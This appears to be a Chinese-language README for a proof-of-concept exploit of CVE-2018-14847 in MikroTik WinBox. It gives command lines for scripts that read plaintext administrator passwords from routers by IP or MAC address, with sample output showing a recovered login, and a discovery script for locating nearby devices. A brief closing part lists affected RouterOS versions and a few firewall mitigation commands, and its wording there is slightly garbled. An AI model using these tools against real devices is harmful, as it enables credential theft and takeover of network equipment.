WinboxExploit

这是针对严重 WinBox 漏洞（CVE-2018-14847）的概念验证，该漏洞允许任意读取明文密码的文件。

博客文章

此脚本不会在 Python 2.x 或更低版本上运行。

该脚本通过命令行使用简单的参数即可运行。

利用漏洞并读取密码。

python3 WinboxExploit.py <IP-ADDRESS> [PORT]

示例：

$ python3 WinboxExploit.py 172.17.17.17
Connected to 172.17.17.17:8291
Exploit successful
User: admin
Pass: Th3P4ssWord

即使设备没有 IP 地址，你也可以提取文件。

简单发现检查本地连接的 Mikrotik 设备。

python3 MACServerDiscover.py

示例：

$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)

    aa:bb:cc:dd:ee:ff 

    aa:bb:cc:dd:ee:aa

利用漏洞并读取密码。

python3 MACServerExploit.py <MAC-ADDRESS>

示例：

$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff

User: admin
Pass: Th3P4ssWord

从 2015-05-28 到 2018-04-20 之间的所有 RouterOS 版本都受此漏洞影响。

运行以下 RouterOS 版本的 Mikrotik 设备：

/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16

/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop

/tool mac-server mac-winbox